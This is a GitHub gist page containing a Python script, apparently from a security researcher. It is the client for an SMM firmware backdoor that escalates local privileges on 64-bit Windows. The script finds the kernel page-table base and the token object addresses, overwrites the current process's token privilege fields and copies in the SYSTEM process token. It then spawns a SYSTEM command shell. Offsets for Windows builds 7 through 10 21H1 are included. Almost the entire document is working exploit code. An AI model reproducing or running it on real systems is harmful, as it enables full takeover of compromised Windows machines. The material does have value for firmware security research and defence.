Skip to content

Instantly share code, notes, and snippets.

@Cr4sh
Created June 16, 2021 19:34
Show Gist options
  • Save Cr4sh/fed7210cff9ee3e087b32200dd6518c3 to your computer and use it in GitHub Desktop.
Save Cr4sh/fed7210cff9ee3e087b32200dd6518c3 to your computer and use it in GitHub Desktop.
Example program that uses SMM backdoor for local privileges escalation under the Windows
#!/usr/bin/env python
import sys, os, platform, ctypes, ctypes.wintypes
from struct import pack, unpack
import smm_backdoor as bd
# MSR register used by swapgs
IA32_KERNEL_GS_BASE = 0xc0000102
# OpenProcess() access flags
PROCESS_QUERY_INFORMATION = 0x400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
# OpenProcessToken() access flags
TOKEN_ADJUST_PRIVILEGES = 0x20
# _TOKEN structure field offsets
TOKEN_Privileges_Preset = 0x40
TOKEN_Privileges_Enabled = 0x48
# value for _SEP_TOKEN_PRIVILEGES Present and Enabled fields
TOKEN_PRIVILEGES_VAL = 0x1ff2ffffbc
# system process PID
SYSTEM_PID = 4
def get_object_addr(process_id, handle_value):
# NTSTATUS values
STATUS_SUCCESS = 0x00000000
STATUS_INFO_LENGTH_MISMATCH = 0xc0000004
# information class
SystemHandleInformation = 16
# change return value to unsigned
ntdll = ctypes.windll.ntdll
ntdll.NtQuerySystemInformation.restype = ctypes.c_ulong
size = ctypes.sizeof(ctypes.c_void_p)
class SYSTEM_HANDLE(ctypes.Structure):
_fields_ = [( 'ProcessId', ctypes.wintypes.DWORD ),
( 'ObjectType', ctypes.wintypes.BYTE ),
( 'HandleAttributes', ctypes.wintypes.BYTE ),
( 'HandleValue', ctypes.wintypes.WORD ),
( 'ObjectAddress', ctypes.wintypes.LPVOID ),
( 'GrantedAccess', ctypes.wintypes.DWORD )]
while True:
# allocate information buffer
buff = ctypes.c_buffer(size)
# get system handles information
return_length = ctypes.c_ulong(0)
return_status = ntdll.NtQuerySystemInformation(SystemHandleInformation, buff, size,
ctypes.byref(return_length))
if return_status == STATUS_SUCCESS:
# return length sanity check
assert return_length.value % ctypes.sizeof(SYSTEM_HANDLE) == ctypes.sizeof(ctypes.c_uint64)
# calculate number of returned handles
count = (return_length.value - ctypes.sizeof(ctypes.c_uint64)) / ctypes.sizeof(SYSTEM_HANDLE)
class SYSTEM_HANDLE_INFORMATION(ctypes.Structure):
_fields_ = [( 'HandleCount', ctypes.c_ulong ),
( 'Handles', SYSTEM_HANDLE * count )]
# get SYSTEM_HANDLE_INFORMATION from the raw buffer
info = SYSTEM_HANDLE_INFORMATION.from_buffer_copy(buff)
for handle in info.Handles:
# match handle value
if handle.ProcessId == process_id and handle.HandleValue == handle_value:
# return object address
return handle.ObjectAddress
break
elif return_status == STATUS_INFO_LENGTH_MISMATCH:
# set buffer size, add 0x1000 just for sure
size = return_length.value + 0x1000
else:
raise(Exception('NtQuerySystemInformation() ERROR 0x%x' % return_status))
# handle information is not found
return None
def privesc(command_line = None):
try:
# get windows version and build number
os_major, os_minor, os_build = map(lambda n: int(n), platform.version().split('.'))
except ValueError:
print('ERROR: Unable to get NT version')
return -1
print('[+] NT version is %d.%d.%d' % (os_major, os_minor, os_build))
EPROCESS_Token = None
KPCR_KernelDirectoryTableBase = None
if os_major == 6 and os_minor == 1:
# Windows 7 and Server 2008 R2
EPROCESS_Token = 0x0208
elif os_major == 6 and os_minor == 2:
# Windows 8 and Server 2012
EPROCESS_Token = 0x0348
elif os_major == 6 and os_minor == 3:
# Windows 8.1 and Server 2012 R2
EPROCESS_Token = 0x0348
elif os_major == 10 and os_minor == 0:
if os_build > 19043:
raise(Exception('Unsupported Windows 10 version'))
elif os_build >= 19041:
# Windows 10 starting from 2004 and Server 2019
EPROCESS_Token = 0x04b8
elif os_build >= 18362:
# Windows 10 starting from 1903 and Server 2019
EPROCESS_Token = 0x0360
else:
# Windows 10 and Server 2016
EPROCESS_Token = 0x0358
# kernel CR3 offsset from GS segment base
if os_build in [19043, 19042, 19041]:
# 21H1, 20H2, 2004
KPCR_KernelDirectoryTableBase = 0x9000
elif os_build in [18363, 18362, 17763, 17134]:
# 1909, 1903, 1809, 1803
KPCR_KernelDirectoryTableBase = 0x7000
else:
raise(Exception('Unsupported NT version'))
print('[+] _EPROCESS Token offset is 0x%.4x' % EPROCESS_Token)
# get user mode CR3 value
user_cr3 = bd.state_get(bd.SMM_SAVE_STATE_CR3)
if KPCR_KernelDirectoryTableBase is not None:
print('[+] _KPCR KernelDirectoryTableBase offset is 0x%.4x' % KPCR_KernelDirectoryTableBase)
# get kernel GS base
kpcr_addr = bd.msr_get(IA32_KERNEL_GS_BASE)
print('[+] _KPCR structure is at 0x%.16x' % kpcr_addr)
# read kernel mode CR3 value for KVA shadow enabled system
kernel_cr3 = bd.read_virt_mem_8(kpcr_addr + KPCR_KernelDirectoryTableBase, cr3 = user_cr3)
else:
# KVA shadow is not present on this OS version
kernel_cr3 = 0
if kernel_cr3 == 0:
# KVA shadow is disabled
kernel_cr3 = user_cr3
print('[+] KVA shadow is disabled or not present')
print('[+] Kernel CR3 value is 0x%.16x' % kernel_cr3)
else:
print('[+] KVA shadow is enabled')
print('[+] User CR3 value is 0x%.16x' % user_cr3)
print('[+] Kernel CR3 value is 0x%.16x' % kernel_cr3)
kernel32 = ctypes.windll.kernel32
# open current process
cur_proc_handle = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, 0, os.getpid())
if cur_proc_handle == 0:
print('ERROR: OpenProcess() fails')
return -1
cur_token_handle = ctypes.wintypes.HANDLE(0)
# open current process token
if kernel32.OpenProcessToken(cur_proc_handle, TOKEN_ADJUST_PRIVILEGES,
ctypes.byref(cur_token_handle)) == 0:
print('ERROR: OpenProcessToken() fails')
return -1
# get token object address
cur_token_addr = get_object_addr(os.getpid(), cur_token_handle.value)
if cur_token_addr is None:
print('ERROR: Unable to find token object address')
return -1
print('[+] Token object address is 0x%.8x' % cur_token_addr)
# read present privileges field
priv_present = bd.read_virt_mem_8(cur_token_addr + TOKEN_Privileges_Preset, cr3 = kernel_cr3)
print('[+] Present privileges: 0x%x -> 0x%x' % (priv_present, TOKEN_PRIVILEGES_VAL))
# read enabled privileges field
priv_enabled = bd.read_virt_mem_8(cur_token_addr + TOKEN_Privileges_Enabled, cr3 = kernel_cr3)
print('[+] Enabled privileges: 0x%x -> 0x%x' % (priv_enabled, TOKEN_PRIVILEGES_VAL))
# update _SEP_TOKEN_PRIVILEGES fields
bd.write_virt_mem_8(cur_token_addr + TOKEN_Privileges_Preset, TOKEN_PRIVILEGES_VAL, cr3 = kernel_cr3)
bd.write_virt_mem_8(cur_token_addr + TOKEN_Privileges_Enabled, TOKEN_PRIVILEGES_VAL, cr3 = kernel_cr3)
# open system process
sys_proc_handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, SYSTEM_PID)
if sys_proc_handle == 0:
print('ERROR: OpenProcess() fails')
return -1
# get current process object address
cur_proc_addr = get_object_addr(os.getpid(), cur_proc_handle)
if cur_proc_addr is None:
print('ERROR: Unable to find current process object address')
return -1
print('[+] Current process object address is 0x%.8x' % cur_proc_addr)
# get system process object address
sys_proc_addr = get_object_addr(os.getpid(), sys_proc_handle)
if sys_proc_addr is None:
print('ERROR: Unable to find current process object address')
return -1
print('[+] System process object address is 0x%.8x' % sys_proc_addr)
print('[+] Overwriting process token...')
# read system process token
token = bd.read_virt_mem_8(sys_proc_addr + EPROCESS_Token, cr3 = kernel_cr3)
# update current process token
bd.write_virt_mem_8(cur_proc_addr + EPROCESS_Token, token, cr3 = kernel_cr3)
if command_line is None:
print('[+] Done, spawning SYSTEM shell...\n')
# spawn shell
os.system('cmd.exe')
else:
os.system(command_line)
return 0
def main():
# check OS
assert platform.system() == 'Windows'
# check for 64-bit process
assert ctypes.sizeof(ctypes.c_void_p) == ctypes.sizeof(ctypes.c_uint64)
print('[+] Initializing SMM backdoor client...')
bd.init(use_timer = True)
bd.ping()
return privesc()
if __name__ == '__main__':
exit(main())
#
# EoF
#
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment